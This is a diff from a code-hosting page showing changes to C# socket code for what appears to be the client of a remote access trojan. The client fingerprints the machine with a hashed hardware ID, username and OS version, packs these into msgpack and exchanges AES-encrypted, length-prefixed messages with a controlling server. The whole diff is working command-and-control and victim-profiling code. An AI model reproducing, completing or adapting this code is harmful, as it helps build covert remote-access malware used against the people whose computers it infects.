msgpack.ForcePathObject("HWID").AsString = HWID();
|
msgpack.ForcePathObject("HWID").AsString = Methods.HWID();
|
||||||
msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString();
|
msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString();
|
||||||
msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " +
|
msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " +
|
||||||
Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit");
|
Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit");
|
||||||
@ -85,28 +87,7 @@ namespace Client.Sockets
|
|||||||
return msgpack.Encode2Bytes();
|
return msgpack.Encode2Bytes();
|
||||||
}
|
}
|
||||||
|
|
||||||
private static string HWID()
|
public static void ReadServertData(IAsyncResult Iar)
|
||||||
{
|
|
||||||
StringBuilder sb = new StringBuilder();
|
|
||||||
sb.Append(Environment.UserDomainName);
|
|
||||||
sb.Append(Environment.UserName);
|
|
||||||
sb.Append(Environment.MachineName);
|
|
||||||
sb.Append(Environment.Version);
|
|
||||||
return GetHash(sb.ToString());
|
|
||||||
}
|
|
||||||
|
|
||||||
private static string GetHash(string strToHash)
|
|
||||||
{
|
|
||||||
MD5CryptoServiceProvider md5Obj = new MD5CryptoServiceProvider();
|
|
||||||
byte[] bytesToHash = Encoding.ASCII.GetBytes(strToHash);
|
|
||||||
bytesToHash = md5Obj.ComputeHash(bytesToHash);
|
|
||||||
StringBuilder strResult = new StringBuilder();
|
|
||||||
foreach (byte b in bytesToHash)
|
|
||||||
strResult.Append(b.ToString("x2"));
|
|
||||||
return strResult.ToString().Substring(0, 12).ToUpper();
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void ReadServertData(IAsyncResult ar)
|
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
@ -116,14 +97,14 @@ namespace Client.Sockets
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
int Recevied = Client.EndReceive(ar);
|
int Recevied = Client.EndReceive(Iar);
|
||||||
if (Recevied > 0)
|
if (Recevied > 0)
|
||||||
{
|
{
|
||||||
if (BufferRecevied == false)
|
if (BufferRecevied == false)
|
||||||
if (Buffer[0] == 0)
|
if (Buffer[0] == 0)
|
||||||
{
|
{
|
||||||
Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray()));
|
Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray()));
|
||||||
Debug.WriteLine("/// Buffersize: " + Buffersize.ToString() + " Bytes ///");
|
Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes ///");
|
||||||
MS.Dispose();
|
MS.Dispose();
|
||||||
MS = new MemoryStream();
|
MS = new MemoryStream();
|
||||||
if (Buffersize > 0)
|
if (Buffersize > 0)
|
||||||
@ -168,24 +149,14 @@ namespace Client.Sockets
|
|||||||
{
|
{
|
||||||
lock (SendSync)
|
lock (SendSync)
|
||||||
{
|
{
|
||||||
if (!Client.Connected)
|
|
||||||
{
|
|
||||||
Connected = false;
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
using (MemoryStream MS = new MemoryStream())
|
byte[] buffer = Settings.aes256.Encrypt(Msg);
|
||||||
{
|
byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0);
|
||||||
byte[] buffer = Settings.aes256.Encrypt(Msg);
|
|
||||||
byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0);
|
|
||||||
MS.Write(buffersize, 0, buffersize.Length);
|
|
||||||
MS.Write(buffer, 0, buffer.Length);
|
|
||||||
|
|
||||||
Client.Poll(-1, SelectMode.SelectWrite);
|
Client.Poll(-1, SelectMode.SelectWrite);
|
||||||
Client.BeginSend(MS.ToArray(), 0, (int)(MS.Length), SocketFlags.None, EndSend, null);
|
Client.BeginSend(buffersize, 0, buffersize.Length, SocketFlags.None, EndSend, null);
|
||||||
}
|
Client.BeginSend(buffer, 0, buffer.Length, SocketFlags.None, EndSend, null);
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
{
|
{
|
||||||
@ -197,14 +168,19 @@ namespace Client.Sockets
|
|||||||
|
|
||||||
public static void EndSend(IAsyncResult ar)
|
public static void EndSend(IAsyncResult ar)
|
||||||
{
|
{
|
||||||
try
|
lock (EndSendSync)
|
||||||
{
|
{
|
||||||
Client.EndSend(ar);
|
try
|
||||||
}
|
{
|
||||||
catch
|
int sent = 0;
|
||||||
{
|
sent = Client.EndSend(ar);
|
||||||
Connected = false;
|
Debug.WriteLine("/// Client Sent " + sent.ToString() + " Bytes ///");
|
||||||
return;
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
Connected = false;
|
||||||
|
return;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Loading…
x
Reference in New Issue
Block a user